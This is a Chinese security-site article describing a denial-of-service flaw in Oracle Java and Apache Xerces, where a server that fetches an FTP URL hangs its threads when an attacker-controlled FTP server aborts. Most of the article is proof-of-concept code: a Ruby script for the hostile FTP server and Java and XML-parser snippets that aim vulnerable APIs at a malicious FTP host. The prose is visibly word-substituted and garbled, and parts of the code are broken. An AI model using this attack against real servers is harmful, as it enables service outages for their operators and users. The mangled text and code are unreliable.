频道栏目
首页 > 安全 > 系统安全 > 正文

Oracle Java及Apache Xerces PDF/Docx服务器端DDOS漏洞

2017-09-08 09:19:16      个评论      
收藏   我要投稿

一、破绽提要
Oracle Java JDK/JRE(1.8.0.131和更早版本)软件包和Apache Xerces(2.11.0版)中存在两个破绽,这两个破绽分别为:
Oracle JDK/JRE并发型回绝办事(DoS)破绽
java.net.URLConnection(未应用setConnectTimeout时)并发型回绝办事破绽
Oracle已收到相干破绽申报,并分派了一个申报跟踪编号:S0876966。今朝咱们尚未收到相干补钉或办理办法的更多信息。
二、破绽细节
当满意如下前提时,进击者能够应用这两个破绽对办事器提议回绝办事(Denial of Service, DoS)进击:
进击者能够将一个经心结构的URL参数传递给目的办事器,URL参数指向进击者节制的FTP办事器。
目的办事器应用存在破绽的组件来获得进击者指定的资本。
目的办事器能够获得应用FTP URI地点的资本。
在这两个破绽中,进击者提议的进击进程如下所示:
1、进击者迫使存在破绽的目的办事器剖析某个FTP URL地点,该地点指向进击者节制的FTP办事器。
2、目的办事器获得进击者指定的FTP资本。
3、进击者的FTP办事器忽然停止工作,招致目的办事器上的Java进程外部遗留两个线程,这两个线程处于无穷期待状况。
4、假如Java进程为单线程进程,那末该进程就无奈进一步处置其余客户端的哀求,只能接受来自进击者的一个哀求,满意回绝办事前提。
5、假如Java进程为多线程进程,那末进击者能够应用异样的技巧,向每一个可用的进程收回一个哀求,耗尽所有可用的线程,以满意回绝办事前提。
为了满意进击前提,当Java客户端行将履行RETR FTP敕令时,进击者节制的FTP办事器必要“忽然”加入。办事端无奈正确处置这类环境,是以会呈现线程并发型回绝办事征象。
好比:
require 'socket'
ftp_server = TCPServer.new 21
Thread.start do
loop do
 Thread.start(ftp_server.accept) do |ftp_client|
    puts "FTP. New client connected"
    ftp_client.puts("220 ftp-server")
    counter = 0
    loop {
        req = ftp_client.gets()
        break if req.nil?
        puts "
        if req.include? "USER"
            ftp_client.puts("331 password")
        else
            ftp_client.puts("230 Waiting data")
            counter = counter + 1
            if counter == 6
                abort
            end
        end
    }
    puts "Aborted..."
 end
end
end
loop do
sleep(50000)
end

当破绽前提满意时,DoS会招致目的办事器与FTP办事器(192.168.234.134)之间的衔接处于CLOSE_WAIT状况,使办事端的Java线程处于卡顿状况。

三、Oracle JDK/JRE并发型回绝办事破绽
存在破绽的函数为:
java.io.InputStream
java.xml.ws.Service
javax.xml.validation.Schema
javax.xml.JAXBContext
java.net.JarURLConnection(未应用setConnectionTimeout和setReadTimeout函数时)
javax.imageio.ImageIO
Javax.swing.ImageIcon
javax.swing.text.html.StyleSheet
3.1 java.io.InputStream PoC代码
import java.io.InputStream;
import java.net.URL;
public class RandomAccess {
 public static void main(String[] args) {
  try {
   //url = new URL ("ftp://maliciousftp:2121/test.xml");
   URL url = new URL("ftp://maliciousftp:2121/test.xml");
   InputStream inputStream = url.openStream();
   inputStream.read();
   //urlc.setReadTimeout(5000);
   //urlc.setConnectTimeout(5000); //
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
}
3.2 javax.xml.ws.Service PoC代码
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
public class CreateService {
 public static void main(String[] args) {
  String wsdlURL = "ftp://maliciousftp:2121/test?wsdl";
  String namespace = "http://foo.bar.com/webservice";
  String serviceName = "SomeService";
  QName serviceQN = new QName(namespace, serviceName);
  try {
   Service service = Service.create(new URL(wsdlURL), serviceQN);

{C}  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}
3.3 javax.xml.validation.Schema PoC代码
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import org.xml.sax.SAXException;
public class NSchema {
 public static void main(String[] args) {
  SchemaFactory schemaFactory =
 SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
  URL url;
  try {
   url = new URL("ftp://maliciousftp:2121/schema");
   try {
    Schema schemaGrammar = schemaFactory.newSchema(url);
   } catch (SAXException e) {
    e.printStackTrace();
   }
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}
3.4 javax.xml.JAXBContext PoC代码
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
public class UnMarsh {
 public static void main(String[] args) {
  JAXBContext jaxbContext = null;
  try {
   jaxbContext = JAXBContext.newInstance();
  } catch (JAXBException e) {
   e.printStackTrace();
  }
  URL url = null;
  try {
   url = new URL("ftp://maliciousftp:2121/test");
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
  Unmarshaller jaxbUnmarshaller = null;
  try {
   jaxbUnmarshaller = jaxbContext.createUnmarshaller();
  } catch (JAXBException e) {
   e.printStackTrace();
  }
  try {
   Object test = jaxbUnmarshaller.unmarshal(url);
  } catch (JAXBException e) {
   e.printStackTrace();
  }
 }
}
3.5 java.net.JarURLConnection PoC代码
import java.io.IOException;
import java.net.JarURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.jar.Manifest;
public class JavaUrl {
 public static void main(String[] args) {
  URL url = null;
  try {
   url = new URL("jar:ftp://maliciousftp:2121/duke.jar!/");
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
  JarURLConnection jarConnection = null;
  try {
   jarConnection = (JarURLConnection) url.openConnection();
   jarConnection.setConnectTimeout(5000);
   jarConnection.setReadTimeout(5000);
  } catch (IOException e1) {
   e1.printStackTrace();
  }
  try {
   Manifest manifest = jarConnection.getManifest();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
}
3.6 javax.imageio.ImageIO PoC代码
import java.awt.Image;
import java.io.IOException;
import java.net.URL;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ImageReader {
 public static void main(String[] args) {
  Image image = null;
  try {
   URL url = new URL("ftp://maliciousftp:2121/test.jpg");
   image = ImageIO.read(url);
  } catch (IOException e) {
   e.printStackTrace();
  }
  JFrame frame = new JFrame();
  frame.setSize(300, 300);
  JLabel label = new JLabel(new ImageIcon(image));
  frame.add(label);
  frame.setVisible(true);
 }
}
3.7 javax.swing.ImageIcon PoC代码
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.ImageIcon;
public class ImageXcon {
 public static void main(String[] args) {
  URL imgURL;
  try {
   imgURL = new URL("ftp://maliciousftp:2121/test");
   String description = "";
   ImageIcon icon = new ImageIcon(imgURL, description);
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}
3.8 javax.swing.text.html.StyleSheet PoC代码
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.text.html.StyleSheet;
public class ImportStyla {
 public static void main(String[] args) {
  StyleSheet cs = new StyleSheet();
  URL url;
  try {
   url = new URL("ftp://maliciousftp:2121/test");
   cs.importStyleSheet(url);

 

{C}  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}
四、java.net.URLConnection并发型回绝办事破绽
当应用java.net.URLConnection来获得FTP办事器上的某个文件时,假如不指定衔接超时(Connection Timeout)光阴,那末就会存在线程并发型回绝办事破绽。
存在破绽的函数为:
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
org.dom4j.Document
org.dom4j.io.SAXReader
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
Apache Xerces中的com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class是这一问题的基本缘故原由地点。

在这类环境下,XMLEntityManager.class没有明白设置衔接工具的衔接超时光阴,是以Java会将该光阴设置为默认值(-1),这样一来就会满意回绝办事前提,详细细节如下所述。
好比,办事器在如下示例代码中,应用Apache Xerces库来获得FTP办事器上的某个XML文件:
[snip]
    private void parseXmlFile() {
     //get the factory
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
     try {
      //Using factory get an instance of document builder
      DocumentBuilder db = dbf.newDocumentBuilder();
      //parse using builder to get DOM representation of the XML file
      dom = db.parse("ftp://maliciousftpserver/test.xml"); //
     } catch (ParserConfigurationException pce) {
      pce.printStackTrace();
     } catch (SAXException se) {
      se.printStackTrace();
     } catch (IOException ioe) {
      ioe.printStackTrace();
     }
    }
[snip]
4.1 SAXParser PoC代码
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
UserHandler userhandler = new UserHandler();
saxParser.parse("ftp://badftpserver:2121/whatever.xml”)
4.2 DOM4J/SAXReader PoC代码
SAXReader reader = new SAXReader();
Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" );
4.3 JAVAX XML Parsers PoC代码

DocumentBuilder db = dbf.newDocumentBuilder();           
dom = db.parse("ftp://badftpserver:2121/whatever.xml");

 

 

上一篇:针对Youtube中高级Flash漏洞bug的研究
下一篇:如果电脑不装杀毒软件,那会怎样
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站